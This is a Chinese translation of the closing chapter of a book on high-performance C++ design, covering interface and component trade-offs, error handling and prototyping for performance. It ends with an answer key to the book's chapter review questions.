并发系统的设计需要额外关注数据共享。在设计阶段,您应特别注意将数据分类为非共享、只读或用于写入的共享数据。当然,后者应该尽量减少:正如我们在第六章中所看到的那样,并发和性能,访问共享数据是昂贵的。另一方面,重新设计旨在进行独占单线程访问的组件或数据结构以实现线程安全是困难的,并且通常会导致性能不佳(在基本不安全的设计之上实现线程安全是困难的)。在数据流分析的设计阶段,您应花时间清楚地定义数据所有权和访问限制。由于“数据所有权”一词通常指非常低级的细节,例如“我们是否使用智能指针以及哪个类拥有它?”,可能更好地谈论信息所有权和对信息的访问。识别必须一起可用的信息片段,确定哪个组件产生并拥有信息,哪些组件修改了部分信息,以及是否同时进行。设计应包括对所有数据的高级分类:单线程(独占)、只读或共享。请注意,这些角色可能会随时间改变:一些数据可能由单个线程生成,但稍后可以被多个线程同时读取,而不进行修改。这也应在设计中反映出来。

将数据流或知识流视为设计的一部分通常被遗忘,但实际上非常简单。更具体的指导方针是在设计过程中考虑数据组织限制和留有重要实现自由的接口的组合,通常被视为过早优化。许多程序员会坚持认为在设计阶段没有地方使用“缓存局部性”。这确实是我们在将性能视为设计目标之一时必须做出的妥协之一。在系统设计过程中,我们经常不得不权衡这样的竞争动机,这使我们进入了在设计性能时进行权衡的主题。

性能权衡

设计往往是妥协的艺术;有竞争的目标和要求必须平衡。在本节中,我们将具体讨论与性能相关的权衡。在设计高性能系统时,您将做出许多此类决定。以下是一些需要注意的。

接口设计

在本章的整个过程中,我们已经见证了尽可能少暴露实现的好处。但是,在获得优化自由与非常抽象接口成本之间存在一种紧张关系。

这种紧张关系需要在优化不同组件之间进行权衡:一个不以任何方式限制实现的接口通常会严重限制客户端。例如,让我们重新审视我们的点集合。在不限制其实现的情况下,我们能做些什么?我们不能允许除了在末尾之外的任何插入(实现可能是一个向量,复制一半的集合是不可接受的)。我们只能追加到末尾,这意味着我们无法保持排序顺序,例如。不能进行随机访问(集合可能存储在列表中)。如果集合被压缩,甚至可能无法提供反向迭代器。几乎不限制实现者自由的点集合只限于前向迭代器(流式访问)和可能的追加操作。甚至后者也是一种限制,一些压缩方案要求在可以读取数据之前对数据进行最终处理,因此集合可以处于只写状态或只读状态。

我们提供这个例子并不是为了证明对实现无关的 API 进行严格追求会对客户端造成不切实际的限制。恰恰相反:这是一个用于处理大量数据的有效设计。集合是通过追加到末尾来写入的;在写入完成之前,数据没有特定的顺序。最终处理可能包括排序和压缩。要读取集合,我们需要在读取时解压缩(如果我们的压缩算法一次处理多个点,我们需要一个缓冲区来保存未压缩的数据)。如果集合必须被编辑,我们可以使用我们在第四章《内存架构和性能》中首次介绍的算法,进行内存高效编辑或字符串:我们总是从头到尾读取整个集合;每个点根据需要进行修改,添加新的点等。我们将结果写入新的集合,最终删除原始集合。这种设计允许非常高效的数据存储,无论是在内存使用方面(高压缩)还是在内存访问方面(只有缓存友好的顺序访问)。它还要求客户端以流式访问和读取-修改-写入操作来实现所有操作。

你也可以从另一个角度得出相同的结论:如果你分析你的数据访问模式,并得出结论说你可以接受流式访问和读取-修改-写入更新,你可以将这部分纳入你的设计。当然不是特定的压缩方案,而是高级数据组织:在任何东西可以被读取之前,写入必须完成,而改变数据的唯一方式是将整个集合复制到一个新的集合中,在复制过程中根据需要修改其内容。

关于这种权衡的一个有趣观察是,我们不仅需要在性能要求与易用性或其他设计考虑之间取得平衡,而且通常需要做出关于性能的哪个方面更重要的决定。通常,应该优先考虑低级组件:它们的架构对整体设计更为基础,比高级组件中算法的选择更为重要。因此,它更难以后期更改,这使得做出明智的设计决策更为重要。请注意,在设计组件时,还有其他权衡需要做出。

组件设计

我们刚刚看到,有时为了让一个组件通过设计具有很好的性能,就必须对其他组件施加限制,这就需要仔细选择算法和熟练实施。但这并不是我们必须做出的唯一权衡。

在性能设计中最常见的权衡之一是选择组件和模块的适当粒度级别。通常制作小组件是一个很好的设计实践,特别是在测试驱动设计中(但通常在任何将可测试性作为目标之一的设计中)。另一方面,将系统分割成太多具有受限交互的部分可能对性能不利。通常,将更大的数据和代码单元视为单个组件可以实现更高效的实现。同样,我们的点集合就是一个例子:如果我们不允许无限制地访问集合内的点对象,那么它会更有效率。

最终,这些决定应该通过考虑冲突的要求并利用解决矛盾的机会来做出。最好将一个点作为一个单独的单元,可测试且可重用于其他代码。但我们真的需要将点集合公开为这些点单元的集合吗?也许,我们可以将其视为存储在其中的点所包含的所有信息的集合,而点对象仅用于逐个读取和写入集合中的点。这种方法使我们能够保持良好的模块化并实现高性能。通常,接口是以清晰且可测试的组件实现的,而在内部,较大的组件以完全不同的格式存储数据。

应该避免的是在接口中创建“后门”,这些“后门”是专门用来解决由于遵循良好设计实践而导致性能限制的限制。这通常以一种临时的方式妥协了竞争设计目标。相反,最好重新设计涉及的组件。如果您看不到解决矛盾要求的方法,请擦除组件边界,并将较小的单元转换为内部、实现特定的子组件。

到目前为止,我们还没有考虑的另一个设计方面是错误处理,因此有必要多说几句。

错误和未定义行为

错误处理是那些经常被视为事后思考的事情之一,但应该是设计决策中同等重要的因素。特别是,很难为没有考虑特定异常处理方法的程序添加异常安全性(以及由此延伸的错误安全性)。

错误处理始于接口:所有接口本质上都是规范组件之间交互的契约。这些契约应该包括对输入数据的任何限制:如果满足了某些外部条件,组件将按规定的方式运行。但是契约还应该指定如果条件不满足,组件无法履行契约(或者程序员决定这样做是不可取或太困难)会发生什么。

契约也应该覆盖大部分错误响应:如果未满足指定的要求,组件将以某种方式报告错误。这可能是异常、错误代码、状态标志或其他方法的组合。其他书籍中有关于错误处理最佳实践的写作。在这里,我们关注性能。

从性能的角度来看,通常最重要的考虑是在输入和结果正确且没有发生任何问题的常见情况下处理潜在错误的开销。通常简单地表达为“错误处理必须廉价”。

这意味着错误处理在正常情况下必须廉价。相反,当这种罕见事件实际发生时,我们通常不关心处理错误的开销。这究竟意味着什么在不同的设计之间差异很大。

例如,在处理事务的应用程序中,我们通常希望提交或回滚语义:每个事务要么成功,要么根本不执行任何操作。然而,这种设计的性能成本可能很高。通常情况下,即使事务失败,仍然可以影响一些更改,只要这些更改不改变系统的主要不变量。对于基于磁盘的数据库,浪费一些磁盘空间可能是可以接受的;然后,我们总是可以为事务分配空间并写入磁盘,但是,如果发生错误,我们将使这部分部分写入的区域对用户不可访问。

在这种情况下,我们“隐藏”错误的全部后果以提高性能,最好设计一个单独的机制来清理这些错误的后果。对于我们的数据库,这样的清理可以在一个低优先级的单独后台进程中进行,以避免干扰主要访问。同样,这是通过在时间上分离来解决矛盾的一个例子:如果我们必须从错误中恢复,但这样做太昂贵,那就稍后再做昂贵的部分。

最后,我们必须考虑的是,甚至在某些情况下,检测到合同违规本身也是太昂贵的。[第十一章],未定义行为和性能,涵盖了这种情况。接口合同应明确规定,如果违反某些限制,结果是未定义的。如果选择这种方法,不要让程序花时间使未定义的结果更加“可接受”。未定义就是未定义;任何事情都可能发生。这不应该轻率地做,你应该考虑一些替代方案,比如轻量级数据收集,将昂贵的工作留给处理真正错误的代码路径。但是明确合同边界和未定义结果要比不确定的替代方案更可取,比如“我们会尽力而为,但不做承诺”。

在设计阶段需要做出许多权衡,本章并不意味着是权衡的完整清单或者实现平衡的全面指南。相反,我们展示了一些常见的矛盾以及解决它们的可能方法。

为了在平衡性能设计目标与其他目标和动机时做出明智的决策,有一些性能估计是很重要的。但是在设计阶段如何获得性能指标呢?这是我们尚未讨论的设计性能中最后、也是某种意义上最困难的部分。

做出明智的设计决策

不仅在权衡决策时,我们需要站在良好性能数据的坚实基础上。毕竟,如果我们不知道按照缓存最佳顺序访问数据与按照某种随机顺序访问数据的成本有多大,我们又如何能够做出关于为了高效的内存访问而设计数据结构的决策呢?这又回到了性能的第一法则,你现在应该已经记住了:永远不要猜测性能。如果我们的程序存在于白板上的设计图的零散状态,这就更容易说而难做了。

你不能运行一个设计,那么如何获得测量数据来指导和支持你的设计决策呢?一些知识是通过经验获得的。我指的不是那种说“我们一直都是这样做”的经验。但是你可能设计并实现了类似的组件和新系统的其他部分。如果它们是可重用的,它们就带有可靠的性能信息。但即使你必须修改它们或设计类似的东西,你也有高度相关的性能测量数据,这些数据很可能对新设计有很好的适用性。

那么,如果我们没有可以用来衡量性能的相关程序,我们该怎么办呢?这时,我们必须依赖模型和原型。模型是人工构造的构造,模仿我们未来程序的某些部分的预期工作负载和性能,尽我们所知。例如,如果我们必须就内存中的大量数据进行组织并且我们知道我们将经常处理整个数据语料库,我们在第四章中的微基准测试,内存架构和性能,是您可能使用的模型:处理组织为列表与数组的相同数据量。这是一个模型,而不是对未来程序性能的精确测量,但它提供了宝贵的见解,并为您提供了支持决策的良好数据。只要记住,模型越近似,预测就越不准确:如果您对两种替代设计进行建模,并得出性能测量相差不到 10%的结果,您可能应该考虑它是一种平局。顺便说一句,这并不是浪费:您获得了重要信息,两种设计选项提供了类似的性能,因此您可以根据其他标准自由选择。

并非所有的模型都是微基准测试。有时候,您可以使用现有的程序来模拟新的行为。比如,您有一个分布式程序,它处理的数据类似于您的下一个程序需要处理的数据。新程序将有更多的数据,而相似性只是表面的(也许两个程序都处理字符串),因此旧程序无法用于对新数据的实际处理进行任何真正的测量。没关系:我们可以修改代码以发送和接收更长的字符串。如果我们现有的程序没有使用它们怎么办?也没关系:我们将编写一些代码以一种较为真实的方式生成和消耗这些字符串,并将其嵌入到程序中。现在,我们可以启动执行分布式计算的部分,并查看发送和接收预期数据量所需的时间。假设它花费的时间足够长,我们正在考虑压缩。不过,我们可以做得更好:将压缩添加到代码中,并比较网络传输速度提升与压缩和解压缩成本。如果您不想花费大量时间为特定数据编写真实的压缩算法,请尝试重用现有的压缩库。比较来自免费可用库的几种压缩算法将为您提供更有价值的数据,以便在以后必须决定多少压缩是最佳时使用。

请注意我们刚刚做了什么:我们使用现有程序作为运行一些近似未来程序行为的新代码的框架。换句话说,我们构建了一个原型。原型是另一种获取性能估计以做出设计决策的方法。当然,为性能构建原型与制作基于特性的原型有所不同。在后一种情况下,我们希望快速组合一个演示所需行为的系统,通常不考虑实现的性能或质量。性能原型应该给我们合理的性能数字,因此低级实现必须高效。我们可以忽略边缘情况和错误处理。只要我们原型的功能能够执行我们想要基准测试的代码,我们也可以跳过许多功能。有时,我们的原型根本没有任何功能:相反,在代码的某个地方,我们将硬编码一个条件,这在真实系统中发生时会触发某些功能。我们在此类原型设计期间必须创建的高性能代码通常构成以后低级库的基础。

应该指出,所有模型都是近似的,即使你对代码的性能有完整和最终的实现,这些模型仍然是近似的。微基准测试通常比较大的框架不够准确,这就产生了“微基准测试是谎言”的吸引人的标题。微基准测试和其他性能模型之所以不总是与最终结果相匹配的主要原因是任何程序的性能都受其环境的影响。例如,你可能对代码进行了最佳内存访问的基准测试,结果发现它通常是在完全饱和内存总线的其他线程旁边运行。

就像了解模型的局限性一样重要,不要过度反应也同样重要。基准测试提供了有用的信息。被测软件越完整和真实,结果就越准确。如果基准测试显示一段代码比另一段快几倍,这种差异在代码最终运行的环境中不太可能完全消失。但是,试图从除了在真实数据上运行的最终版本之外的任何地方获得最后 5%的效率是愚蠢的。

原型——对真实程序的近似,能够以某种程度的准确性复制我们感兴趣的属性——使我们能够得到不同设计决策所带来的性能合理估计。它们可以是微基准测试,也可以是对大型、现有程序的实验,但它们都有一个共同的目标:将性能设计从猜测的领域转移到基于合理测量决策的基础上。

总结

我们书的最后一章回顾了我们学到的关于性能以及决定性能的因素,然后利用这些知识提出了高性能软件系统的设计指南。我们提出了几条关于设计接口、数据组织、组件和模块的建议,并描述了在我们有可以测量性能的实现之前如何做出知情的设计决策。

我们必须再次强调,性能设计并不会自动带来良好的性能:它只是为高性能实现提供可能性。另一种选择是敌对性能的设计,它锁定了决策,限制和阻止了高效的代码和数据结构。

这本书是一次旅程:我们从学习单个硬件组件的性能开始,然后研究它们之间的相互作用以及它们如何影响我们对编程语言的使用。最终,这条道路引领我们到了性能设计的概念。这是书中的最后一章,但并非你旅程的最后一步:现在是将你的知识应用于等待你的实际问题的广阔而令人兴奋的领域。

问题

  1. 什么是性能设计?

  2. 我们如何确保接口不会限制最佳实现?

  3. 为什么能够传达客户意图的接口可以实现更好的性能?

  4. 当我们没有性能测量时,如何做出知情的性能相关设计决策?

第十三章:评估

第一章:

  1. 在许多领域,问题的规模增长得与可用的计算资源一样快,甚至更快。随着计算变得更加普遍,重型工作负载可能必须在有限功率的处理器上执行。

  2. 单核处理能力大约 15 年前基本停止增长,处理器设计和制造方面的进步主要转化为更多的处理核心和大量的专用计算单元。充分利用这些资源并不会自动发生,需要了解它们的工作原理。

  3. 效率是指更多地利用可用的计算资源,而不做任何不必要的工作。性能是指满足依赖于程序设计解决的问题的特定目标。

  4. 在不同的环境中,性能的定义可能完全不同:在超级计算机中,计算的原始速度可能是唯一重要的,但在交互式系统中,只要系统比与之交互的人更快,速度就不相关。

  5. 性能必须进行测量;成功的证明或失败原因的指导在于定量测量结果及其分析。

第二章:

  1. 性能测量有两个主要原因。首先,它们用于定义目标并描述当前状态;没有这样的测量,我们无法判断性能是差还是优;也无法判断性能目标是否达到。其次,测量用于研究各种因素对性能的影响,评估代码更改和其他优化的结果。

  2. 没有一种单一的方法可以适用于所有情况的性能测量,因为通常有太多的影响因素和原因需要使用单一方法进行分析,而且需要大量数据来充分描述性能。

  3. 通过对代码进行手动仪器化的基准测试具有可以收集所需任何数据的优势,并且很容易将数据放入上下文:对于每行代码,您都知道它属于哪个函数或算法的步骤。主要限制在于该方法的侵入性:您必须知道要对代码的哪些部分进行仪器化,并且能够这样做;未被数据收集仪器覆盖的代码区域将不被测量。

  4. 性能分析用于收集程序执行时间或其他指标在整个程序中的分布数据。它可以在函数或模块级别进行,也可以在更低级别,甚至到单个机器指令的级别。然而,通常不太实际地在整个程序的最低级别收集数据,因此程序通常会分阶段进行性能分析,从粗到细的粒度。

  5. 小规模和微基准测试用于快速迭代代码更改并评估其对性能的影响。它们还可以用于详细分析小代码片段的性能。必须小心确保微基准测试中执行的上下文尽可能地类似于真实程序的执行上下文。

第三章:

  1. 现代 CPU 具有多个计算单元,其中许多可以同时运行。尽可能多地利用 CPU 的计算能力是最大化程序效率的方法。

  2. 任何可以同时进行的两个计算所需的时间只有较长的那个计算所需的时间;另一个实际上是免费的。在许多程序中,我们可以用可以立即完成的其他计算替换将来要完成的一些计算。通常,权衡是现在做更多的计算,而不是以后做更多的计算,但只要额外的计算不需要额外的时间,因为它们与必须完成的其他工作并行进行,这甚至可以提高整体性能。

  3. 这种情况被称为数据依赖性。对策是流水线处理,其中不依赖于任何未知数据的未来计算的一部分与程序顺序中其前面的代码并行执行。

  4. 条件分支使未来的计算变得不确定,这阻止了 CPU 对其进行流水线处理。CPU 试图预测将要执行的代码,以便它可以维持流水线。每当这样的预测失败时,流水线必须被清空,并且所有被错误预测的指令的结果都被丢弃。

  5. 基于 CPU 的分支预测可能需要或可能不需要的任何代码都会被进行推测性评估。在推测执行上下文中,任何无法撤销的操作都不得完全提交:CPU 不能覆盖内存,执行任何 I/O 操作,发出中断,或报告任何错误。CPU 具有必要的硬件来暂停这些操作,直到推测执行的代码被确认为真实代码,或者不是。在后一种情况下,推测执行的所有结果都将被丢弃,没有可观察的影响。

  6. 一个良好预测的分支通常对性能影响不大。因此,性能下降由于错误预测的分支的两个主要解决方案是:重写代码,使条件更可预测,或者改变计算以使用有条件访问的数据而不是有条件执行的代码。后者被称为无分支计算。

[第四章]:

  1. 现代 CPU 的速度明显快于甚至最好的内存。访问内存中的随机位置的延迟为几纳秒,足够 CPU 执行数十个操作。即使在流式访问中,整体内存带宽也不足以以与 CPU 执行计算相同的速度提供数据。

  2. 内存系统包括 CPU 和主内存之间的一系列缓存,因此影响速度的第一个因素是数据集的大小:这最终决定了数据是否适合缓存。对于给定的大小,内存访问模式至关重要:如果硬件可以预测下一个访问,它可以通过在请求数据之前开始将数据传输到缓存来隐藏延迟。

  3. 通常,低效的内存访问可以从性能概要或计时器输出中看出;这对于良好模块化的代码和良好封装数据尤其如此。如果时间概要未显示出主导性能的代码部分,缓存效果概要可能显示出整个代码中访问效率低下的数据。

  4. 任何使用更少内存的优化都有可能改善内存性能,因为更多的数据可以放入缓存中。然而,对大量数据进行顺序访问通常比对少量数据进行随机访问更快,除非较小的数据适合于 L1 缓存,或者至多适合于 L2 缓存。直接针对内存性能的优化通常采取数据结构优化的形式,主要旨在避免随机访问和间接内存访问。要超越这些,通常需要改变算法以改变内存访问模式为更适合缓存的模式。

第五章:

  1. 内存模型描述了通过共享内存进行线程交互的方式;它是在多个线程访问内存中相同数据时给出的一组限制和保证。

  2. 一方面,如果我们不需要共享数据,所有线程将完全独立运行,并且只要有更多的处理器可用,程序就会完美扩展。此外,编写这样的程序并不比编写单线程程序更难。另一方面,所有与并发相关的错误最终都源于对某些共享数据的无效访问。

  3. 整体内存模型是系统不同组件的几个内存模型的叠加:首先,硬件有一个适用于在其上运行的任何程序的内存模型。操作系统和运行时环境可能提供额外的限制和保证。最后,编译器实现了诸如 C++之类的语言的内存模型,并且如果它提供比语言要求更严格的内存模型,则可能会施加额外的限制。

  4. 几个因素限制了并发程序的性能。首先是并行可用的工作量(这个问题需要通过并发算法的进步来解决,超出了本书的范围)。其次是实际执行这项工作的硬件的可用性(我们已经看到了程序变得内存绑定的例子)。最后,每当线程必须同时访问相同的数据(共享数据)时,这种访问必须同步,而编译器和硬件在这种同步访问的执行优化能力受到严重限制。

[第六章]:

  1. 一般来说,基于锁的程序不能保证始终对最终目标做出有用的工作。在无锁程序中,至少有一个线程保证会取得进展,而在无等待程序中,所有线程始终朝着最终目标取得进展。

  2. “无等待”应该从算法的角度理解:每个线程完成算法的一步,然后立即转移到下一步,计算结果由于线程之间的同步而永远不会被浪费或丢弃。这并不意味着当计算机运行多个线程时,特定步骤所需的时间与在单个线程上运行时相同;硬件访问的争用仍然存在。

  3. 尽管人们通常认为锁的主要缺点是它们的相对高成本,但这并不是避免使用它们的主要原因:一个好的算法通常可以减少数据共享的量,以至于锁本身的成本不是一个主要问题。更严重的问题是在需要细粒度数据同步的程序中管理许多锁的复杂性:使用单个锁锁定大量数据意味着只有一个线程可以操作所有被锁定的数据,但使用许多锁锁定小块数据会导致死锁,或者至少非常复杂的锁管理。

  4. 差异不在于计数器本身的实现,而在于数据依赖性:计数器没有依赖性,因此不需要提供任何内存顺序保证。另一方面,索引应该保证当线程读取此索引值时,由特定值索引的数组或容器元素对线程可见。

  5. 发布协议的关键特征是它允许许多消费者线程在不加锁的情况下访问相同的数据,同时保证生产者线程生成的数据在消费者访问这些数据之前对其可见。

[第七章]:

  1. 为了确保线程安全,设计的任何数据结构都必须具有事务接口:每个操作要么不改变数据结构的状态,要么将其从一个明确定义的状态转换为另一个明确定义的状态。

  2. 这带来了对并发代码性能的一般观察:共享的变量越多,代码就越慢。通常情况下,复杂的数据结构通常需要更多在并发访问时共享的数据。此外,还有一些简单的算法(有些是无等待的),允许对数据结构进行有限的线程安全操作。

  3. 使用高效的锁,受锁保护的数据结构不一定更慢。通常情况下,它更快。再次,这取决于有多少变量是共享的:需要多个原子变量的无锁方案可能比单个锁更慢。我们还必须考虑访问的局部性:如果数据结构只在一个或两个地方被访问(比如队列),那么锁可能非常有效。如果整个数据结构每次都必须被锁定,那么具有许多可以同时访问的元素的数据结构可能性能非常差。

  4. 主要挑战在于向数据结构添加内存通常是一项非常具有破坏性的操作,需要重新排列内部数据的大部分内容。在允许同一数据结构上的其他并发操作的同时进行这项操作是很困难的。对于受锁保护的数据结构,这并不是什么大问题(有时当一个线程必须管理内存时,锁的持有时间比平常要长得多,但长时间的延迟也可能由其他原因引起,程序必须预料到)。在无锁数据结构中,如果内存影响整个数据结构,那么管理内存就非常困难。节点数据结构在单个线程上执行所有内存管理,并使用发布协议将新节点添加到结构中,但顺序数据结构可能需要数据重新分配,或者至少需要复杂的内部内存管理。在这种情况下,应该使用双重检查锁定来锁定整个数据结构,同时重新组织其内存。

  5. A-B-A 问题是所有使用内存中数据位置来检测更改的无锁节点数据结构实现中的常见问题。当在先前删除的节点的内存中分配新节点时,就会出现这个问题。当另一个线程观察到相同的初始和最终内存地址时,就会产生潜在的数据竞争,并且会假设数据结构没有发生变化。存在多种解决方案,但它们都使用各种技术来推迟内存的释放,直到在相同地址的重新分配不再是一个问题。

[第八章]:

  1. 如果标准没有在存在线程的情况下对 C++程序的行为提供一些保证,那么就不可能编写任何可移植的并发 C++程序。当然,在实践中,我们在 C++11 之前就已经在使用并发,但这是由选择遵循其他标准的编译器编写者所做的。这种情况的缺点是这些额外的标准是不同的。没有一种可移植的方法可以在 Linux 和 Windows 等平台上编写并发程序,而不需要为每个平台进行条件编译和特定于操作系统的扩展。同样,原子操作是作为特定于 CPU 的扩展实现的。此外,不同编译器遵循的各种标准之间存在一些微妙的差异,这有时会导致非常难以发现的错误。

  2. 并行算法的使用非常简单:任何具有并行版本的算法都可以通过执行策略作为第一个参数来调用。如果这是并行执行策略,算法将在多个线程上运行。然而,为了实现最佳性能,可能需要重新设计程序的部分。特别是,如果数据序列太短(短的定义取决于算法和操作数据元素的成本),并行算法将不会带来任何好处。因此,可能需要重新设计程序以一次操作更大的序列。

  3. 协程是可以暂停自己的执行的函数。在暂停后,控制权将返回给调用者(或者如果这不是第一次暂停,则返回给恢复者)。协程可以从代码的任何位置、从不同的函数或另一个协程,甚至从另一个线程中恢复。

[第九章]:

  1. 如果需要对对象进行复制,那么通过值传递可以实现。程序员必须小心避免进行第二次不必要的复制。通常,这是通过从函数参数中移动来完成的;然而,程序员有责任不使用已移动的对象,因为编译器不会阻止它。

  2. 在最常见的情况下,当函数操作对象但不影响其生命周期时,函数不应该获得任何允许其影响所有权的访问。即使对象所有权由共享指针管理,这样的函数也应该使用引用或原始指针,而不是创建共享指针的不必要副本。

  3. 返回值优化是指编译器优化技术,其中局部变量通过值从函数返回。该优化有效地删除了局部变量,并直接在调用者分配的内存中构造结果。这种优化在必须构造和返回对象的工厂函数中特别有用。

  4. 在内存受限的程序中,运行时间受到从内存中获取数据的速度的限制。使用更少的内存通常直接导致程序运行更快。第二个原因更直接:内存分配本身需要时间。在并发程序中,它们还涉及锁,这会使部分执行串行化。

[第十章]:

  1. 最重要的约束是程序的结果(或者更严格地说,可观察的行为)不能改变。这里的标准很高:编译器只有在可以证明对所有可能的输入结果都是正确的情况下才能进行优化。第二个考虑因素是实用性:编译器必须在编译时间和优化代码的效率之间进行权衡。即使启用了最高级别的优化,证明某些代码转换不会破坏程序可能会太昂贵。

  2. 除了明显的效果(消除函数调用)之外,内联还使编译器能够分析更大的代码片段。没有内联,编译器通常必须假设函数体内“任何事情都有可能发生”。通过内联,编译器可以看到,例如,调用函数是否产生了任何可观察的行为,比如 I/O。内联只有到一定程度才是有益的:当过度使用时,会增加机器代码的大小。此外,编译器难以分析非常长的代码片段(代码片段越长,优化器处理它所需的内存和时间就越多)。编译器有启发式方法来确定是否值得内联特定函数。

  3. 如果编译器没有进行优化,通常是因为这种转换不能保证是正确的。编译器不具有与程序员相同的关于程序如何使用的知识;任何输入组合都被假定为有效。另一个常见的原因是,优化不会普遍有效。编译器可能在这一点上是正确的,但如果测量结果表明程序员是正确的,那么优化就必须以某种方式强制进入源代码中。

  4. 内联的主要好处不是消除函数调用的成本,而是允许编译器看到函数内部发生了什么。这使得对函数调用前后的代码进行连续分析成为可能。在将每个代码段视为独立部分时无法进行的一些优化,在将更大的代码片段作为单个基本块进行优化时就变得可能了。

第十一章:

  1. 未定义行为是程序在执行时违反合同的情况:规范说明了有效的输入是什么,结果应该是什么。如果检测到无效输入,这也是合同的一部分。如果未检测到无效输入,并且程序在(错误的)假设输入是有效的情况下继续进行,结果是未定义的:规范没有说明必须发生什么。

  2. 在 C++中,允许未定义行为有两个主要原因。首先,有一些操作需要硬件支持,或者在不同的硬件上执行方式不同。在某些硬件系统上,很难甚至不可能产生特定的结果。第二个原因是性能:在所有计算架构上保证特定结果可能是昂贵的。

  3. 不,未定义的结果并不意味着结果一定是错误的。期望的结果也是在未定义行为下允许的,只是不被保证。此外,未定义行为会影响整个程序。将相同的代码与其他代码一起编译在一个文件中可能会产生意想不到的结果。编译器的新版本可能能够更好地优化,假设未定义行为永远不会发生。您应该运行检测工具并修复它报告的错误。

  4. 出于同样的原因,C++标准也是如此:性能。如果有一种特殊情况很难在不增加“正常”情况的开销的情况下正确处理,那么可以选择不处理这种特殊情况。虽然最好在运行时检测到这种情况,但这种检测也可能很昂贵。在这种情况下,输入验证应该是可选的。如果用户提供了无效的输入但未运行检测工具,则程序的行为是未定义的,因为算法本身假设输入是有效的,而这一假设已经被违反。

第十二章:

  1. 为了实现高性能,设计的关键在于创建一个设计,不会通过施加与这种实现不兼容的约束来阻止高性能算法和实现。

  2. 总的来说,接口揭示组件的内部细节越少,实现者就越自由。这应该与客户使用高效算法的自由相平衡。

  3. 更高级的接口可以提供更好的性能,因为它们允许实现者暂时违反接口合同中规定的不变性。组件的初始状态和最终状态对调用者可见,并且必须保持这些不变性。然而,如果实现者知道中间状态不会暴露给外部世界,通常可以找到更有效的临时状态。

  4. 简短的回答是,我们不能。因此,目标是找到一种收集这些测量数据的方法。这是通过测量建模基准和原型的性能,并利用结果来估计由不同设计决策产生的性能限制来实现的。

posted @ 2024-05-15 15:27  绝不原创的飞龙  阅读(21)  评论(0编辑  收藏  举报